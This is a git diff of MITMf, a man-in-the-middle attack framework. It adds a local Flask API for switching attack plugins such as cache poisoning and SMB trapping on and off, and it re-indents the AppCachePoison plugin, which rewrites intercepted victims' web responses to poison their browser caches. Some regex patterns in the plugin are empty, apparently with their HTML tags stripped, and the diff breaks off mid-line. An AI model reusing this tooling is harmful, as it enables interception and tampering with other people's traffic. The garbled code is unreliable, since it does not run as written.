diff --git a/README.md b/README.md index 91b2cae..3a5fad3 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. diff --git a/mitmf.py b/mitmf.py index 3ba5218..4f0e37f 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,6 +18,12 @@ # USA # +""" + +[enabled | disabled] by @xtr4nge + +""" + import argparse import sys import os @@ -31,6 +37,15 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown from plugins import * +# @xtr4nge +import multiprocessing, time, signal +from flask import Flask +from configobj import ConfigObj +import json + +# @xtr4nge +pluginStatus = ConfigObj("config/plugins.conf") + Banners().printBanner() if os.geteuid() != 0: @@ -128,6 +143,10 @@ for p in plugins: #load only the plugins that have been called at the command line if vars(args)[p.optname] is True: + # @xtr4nge + pluginStatus['plugins'][p.optname]['status'] = "enabled" + pluginStatus.write() + print "|_ {} v{}".format(p.name, p.version) if p.tree_info: for line in xrange(0, len(p.tree_info)): @@ -187,8 +206,77 @@ from core.servers.smb.SMBserver import SMBserver print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +''' #start the reactor reactor.run() print "\n" -shutdown() \ No newline at end of file +shutdown() +''' + +# ------------------------------------ +# @xtr4nge [enabled | disabled] +# ------------------------------------ +app = Flask(__name__) + +@app.route("/getPlugins") +def getPlugins(): + # Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf) + # example: http://127.0.0.1:9090/getPlugins + pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"} + + data = {} + for item in pluginList: + data[item] = [pluginStatus['plugins'][item]['status']] + + return json.dumps(data) + +@app.route("/getPluginStatus/") +def getPluginStatus(plugin): + # example: http://127.0.0.1:9090/getPluginStatus/cachekill + return pluginStatus['plugins'][plugin]['status'] + +@app.route("/setPluginStatus//") +def setPluginStatus(plugin, status): + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled + if status == "1": + pluginStatus['plugins'][plugin]['status'] = "enabled" + pluginStatus.write() + elif status == "0": + pluginStatus['plugins'][plugin]['status'] = "disabled" + pluginStatus.write() + + return getPluginStatus(plugin) + +# @xtr4nge +def startFlask(): + app.run(host='127.0.0.1', port=9090) + +# @xtr4nge +def startCore(): + #start the reactor + reactor.run() + +# @xtr4nge +try: + pool = {} + pool[0] = multiprocessing.Process(name="core", target=startCore) + pool[1] = multiprocessing.Process(name="api", target=startFlask) + pool[0].start() + pool[1].start() + + while True: + pass + +except KeyboardInterrupt: + shutdown() + pool[0].terminate() + pool[1].terminate() +except Exception as e: + print e + shutdown() + pool[0].terminate() + pool[1].terminate() +finally: + print "bye ;)" \ No newline at end of file diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 296522f..e66234b 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -18,6 +18,12 @@ # USA # +""" + +[enabled | disabled] by @xtr4nge + +""" + import logging import re import os.path @@ -28,6 +34,8 @@ from datetime import date from plugins.plugin import Plugin from core.sslstrip.URLMonitor import URLMonitor +from configobj import ConfigObj + mitmf_logger = logging.getLogger("mitmf") class AppCachePlugin(Plugin): @@ -37,6 +45,14 @@ class AppCachePlugin(Plugin): version = "0.3" has_opts = False + # @xtr4nge + def getStatus(self): + self.pluginStatus = ConfigObj("config/plugins.conf") + if self.pluginStatus['plugins'][self.optname]['status'] == "enabled": + return True + else: + return False + def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] @@ -45,73 +61,73 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() def serverResponse(self, response, request, data): - - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + + # add manifest reference + data = re.sub(re.compile("